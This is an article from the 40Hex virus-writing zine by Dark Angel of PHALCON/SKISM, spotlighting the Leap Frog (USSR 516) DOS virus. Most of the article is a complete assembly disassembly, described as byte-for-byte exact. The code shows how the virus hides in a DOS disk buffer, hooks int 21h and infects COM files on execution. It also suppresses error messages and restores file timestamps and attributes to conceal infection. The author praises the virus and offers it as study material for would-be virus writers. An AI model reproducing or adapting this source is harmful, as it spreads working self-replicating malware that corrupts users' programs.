40Hex Number 7 Volume 2 Issue 3                                       File 006

                        Virus Spotlite on: Leap Frog

It's always interesting to find new residency techniques.  I suppose everyone
by now is tired of the traditional high-memory loading routine and is on the
lookout for something different.  40Hex comes to the rescue!

This virus, the "Leap Frog" or USSR 516, has one of the most unique methods
I have ever seen.  I was mucking around in VSUM and noticed that it, according
to Patricia, it "installs itself in a hole in memory between MSDOS and the DOS
Stacks."  She is, of course, not telling us the entire story.  Leap Frog
basically latches onto and resides in a DOS disk buffer.  I do not know who
the author is, but I commend him for his innovative technique.  I took the
liberty of disassembling the virus which is given below.  It should be an
exact byte-for-byte matchup of the original carrier file (or at least should
be extremely similar).  The offsets are in their correct locations, etc, etc.
It is simple to understand and terribly efficient.

Although the coding is tight, there are some inconsistencies.  For
example, I do not understand the purpose of the timing routine(int 21h/ah=30h)
in the code.  I also do not understand why the author decided to infect COM
files in such an abnormal way.  An interesting "feature" is the disabling of
Control-Break checking - a thoroughly unnecessary piece of code.  I believe
further that the line above "findmarker" should read:

               lds     di,dword ptr ds:[30h*4]

In any case, the code is otherwise very, very good.  It is great for studying
by newcomers and "oldtimers" alike.  Things to look for:
 Residency routine
 Lack of extensive use of relative offsets
 Use of stack frame in the interrupt handler
 Critical error handler

Enjoy!                                             Dark Angel of PHALCON/SKISM

ussr516         segment byte public
               assume  cs:ussr516, ds:ussr516
               org     100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub:           db      0e9h, 0, 0
               db      0e9h, 1, 0, 0
; This is where the virus really begins
start:
               push    ax
               call    beginvir

orig4           db      0cdh, 20h, 0, 0
int30store      db      0, 0, 0, 0                     ; Actually it's int 21h
                                                      ; entry point
int21store      db      0, 0, 0, 0

beginvir:       pop     bp                             ; BP -> orig4
               mov     si,bp
               mov     di,103h
               add     di,[di-2]                      ; DI -> orig4
               movsw                                  ; restore original
               movsw                                  ; 4 bytes of program
               xor     si,si
               mov     ds,si
               les     di,dword ptr ds:[21h*4]
               mov     [bp+8],di                      ; int21store
               mov     [bp+0Ah],es
               lds     di,dword ptr ds:[30h*4+1]      ; Bug????
findmarker:
               inc     di
               cmp     word ptr [di-2],0E18Ah         ; Find marker bytes
               jne     findmarker                     ; to the entry point
               mov     [bp+4],di                      ; and move to
               mov     [bp+6],ds                      ; int30store
               mov     ax,5252h                       ; Get list of lists
               int     21h                            ; and also ID check

               add     bx,12h                         ; Already installed?
               jz      quitvir                        ; then exit
               push    bx
               mov     ah,30h                         ; Get DOS version
               int     21h

               pop     bx                             ; bx = 12, ptr to 1st
                                                      ; disk buffer
               cmp     al,3
               je      handlebuffer                   ; if DOS 3
               ja      handleDBHCH                    ; if > DOS 3
               inc     bx                             ; DOS 2.X, offset is 13
handlebuffer:
               push    ds
               push    bx
               lds     bx,dword ptr [bx]              ; Get seg:off of buffer
               inc     si
               pop     di
               pop     es                             ; ES:DI->seg:off buff
               mov     ax,[bx]                        ; ptr to next buffer
               cmp     ax,0FFFFh                      ; least recently used?
               jne     handlebuffer                   ; if not, go find it
               cmp     si,3
               jbe     quitvir
               stosw
               stosw
               jmp     short movetobuffer
handleDBHCH:   ; Disk Buffer Hash Chain Head array
               lds     si,dword ptr [bx]              ; ptr to disk buffer
               lodsw                                  ; info
               lodsw                                  ; seg of disk buffer
                                                      ; hash chain head array
               inc     ax                             ; second entry
               mov     ds,ax
               xor     bx,bx
               mov     si,bx
               lodsw                                  ; EMS page, -1 if not
                                                      ; in EMS
               xchg    ax,di                          ; save in di
               lodsw                                  ; ptr to least recently
                                                      ; used buffer
               mov     [di+2],ax                      ; change disk buffer
                                                      ; backward offset to
                                                      ; least recently used
               xchg    ax,di                          ; restore EMS page
               mov     [di],ax                        ; set to least recently
movetobuffer:                                          ; used
               mov     di,bx
               push    ds
               pop     es                             ; ES:DI -> disk buffer
               push    cs
               pop     ds
               mov     cx,108h
               lea     si,[bp-4]                      ; Copy from start
               rep     movsw
               mov     ds,cx                          ; DS -> interrupt table
               mov     word ptr ds:[4*21h],0BCh       ; New interrupt handler
               mov     word ptr ds:[4*21h+2],es       ; at int21
quitvir:
               push    cs                             ; CS = DS = ES
               pop     es
               push    es
               pop     ds
               pop     ax
               mov     bx,ax
               mov     si, 100h                       ; set up stack for
               push    si                             ; the return to the
               retn                                   ; original program
int24:
               mov     al,3                           ; Ignore all errors
               iret
tickstore       db      3                              ; Why???
buffer          db      3, 0, 9, 0

int21:
               pushf
               cli                                    ; CP/M style call entry
               call    dword ptr cs:[int30store-start]
               retn                                   ; point of int 21h

int21DSDX:                                             ; For int 21h calls
               push    ds                             ; with
               lds     dx,dword ptr [bp+2]            ; DS:DX -> filename
               call    int21
               pop     ds
               retn

               cmp     ax,4B00h                       ; Execute
               je      Execute
               cmp     ax,5252h                       ; ID check
               je      CheckID
               cmp     ah,30h                         ; DOS Version
               je      DosVersion
callorig21:                                            ; Do other calls
               jmp     dword ptr cs:[int21store-start]
DosVersion:    ; Why?????                             ; DOS Version
               dec     byte ptr cs:[tickstore-start]
               jnz     callorig21                     ; Continue if not 0
               push    es
               xor     ax,ax
               push    ax
               mov     es,ax
               mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
                                                      ; since midnight
               and     al,7                           ; MOD 15
               inc     ax
               inc     ax
               mov     cs:[tickstore-start],al        ; # 2-17
               pop     ax
               pop     es
               iret
CheckID:                                               ; ID Check
               mov     bx,0FFEEh                      ; FFEEh = -12h
               iret
Execute:                                               ; Execute
               push    ax                             ; Save registers
               push    cx
               push    es
               push    bx
               push    ds                             ; DS:DX -> filename
               push    dx                             ; save it on stack
               push    bp
               mov     bp,sp                          ; Set up stack frame
               sub     sp,0Ah                         ; Temporary variables
                                                      ; [bp-A] = attributes
                                                      ; [bp-8] = int 24 off
                                                      ; [bp-6] = int 24 seg
                                                      ; [bp-4] = file time
                                                      ; [bp-2] = file date
               sti
               push    cs
               pop     ds
               mov     ax,3301h                       ; Turn off ^C check
               xor     dl,dl                          ; (never turn it back
               call    int21                          ;  on.  Bug???)
               mov     ax,3524h                       ; Get int 24h
               call    int21                          ; (Critical error)
               mov     [bp-8],bx
               mov     [bp-6],es
               mov     dx,int24-start
               mov     ax,2524h                       ; Set to new one
               call    int21
               mov     ax,4300h                       ; Get attributes
               call    int21DSDX
               jnc     continue
doneinfect:
               mov     ax,2524h                       ; Restore crit error
               lds     dx,dword ptr [bp-8]            ; handler
               call    int21
               cli
               mov     sp,bp
               pop     bp
               pop     dx
               pop     ds
               pop     bx
               pop     es
               pop     cx
               pop     ax
               jmp     short callorig21               ; Call orig handler
continue:
               mov     [bp-0Ah],cx                    ; Save attributes
               test    cl,1                           ; Check if r/o????
               jz      noclearattr
               xor     cx,cx
               mov     ax,4301h                       ; Clear attributes
               call    int21DSDX                      ; Filename in DS:DX
               jc      doneinfect                     ; Quit on error
noclearattr:
               mov     ax,3D02h                       ; Open read/write
               call    int21DSDX                      ; Filename in DS:DX
               jc      doneinfect                     ; Exit if error
               mov     bx,ax
               mov     ax,5700h                       ; Save time/date
               call    int21
               mov     [bp-4],cx
               mov     [bp-2],dx
               mov     dx,buffer-start
               mov     cx,4
               mov     ah,3Fh                         ; Read 4 bytes to
               call    int21                          ; buffer
               jc      quitinf
               cmp     byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
               jne     quitinf                        ; Otherwise, quit
               mov     dx,word ptr ds:[buffer+1-start]; dx = jmploc
               dec     dx
               xor     cx,cx
               mov     ax,4201h                       ; go there
               call    int21
               mov     ds:[buffer-start],ax           ; new location offset
               mov     dx,orig4-start
               mov     cx,4
               mov     ah,3Fh                         ; Read 4 bytes there
               call    int21
               mov     dx,ds:[orig4-start]
               cmp     dl,0E9h                        ; 0E9h means we might
               jne     infect                         ; already be there
               mov     ax,ds:[orig4+2-start]          ; continue checking
               add     al,dh                          ; to see if we really
               sub     al,ah                          ; are there.
               jz      quitinf
infect:
               xor     cx,cx
               mov     dx,cx
               mov     ax,4202h                       ; Go to EOF
               call    int21
               mov     ds:[buffer+2-start],ax         ; save filesize
               mov     cx,204h
               mov     ah,40h                         ; Write virus
               call    int21
               jc      quitinf                        ; Exit if error
               sub     cx,ax
               jnz     quitinf
               mov     dx,ds:[buffer-start]
               mov     ax,ds:[buffer+2-start]
               sub     ax,dx
               sub     ax,3                           ; AX->jmp offset
               mov     word ptr ds:[buffer+1-start],ax; Set up buffer
               mov     byte ptr ds:[buffer-start],0E9h; code the jmp
               add     al,ah
               mov     byte ptr ds:[buffer+3-start],al
               mov     ax,4200h                       ; Rewind to jmploc
               call    int21
               mov     dx, buffer-start
               mov     cx,4                           ; Write in the jmp
               mov     ah,40h
               call    int21
quitinf:
               mov     cx,[bp-4]
               mov     dx,[bp-2]
               mov     ax,5701h                       ; Restore date/time
               call    int21
               mov     ah,3Eh                         ; Close file
               call    int21
               mov     cx,[bp-0Ah]                    ; Restore attributes
               mov     ax,4301h
               call    int21DSDX
               jmp     doneinfect                     ; Return
ussr516         ends
               end     stub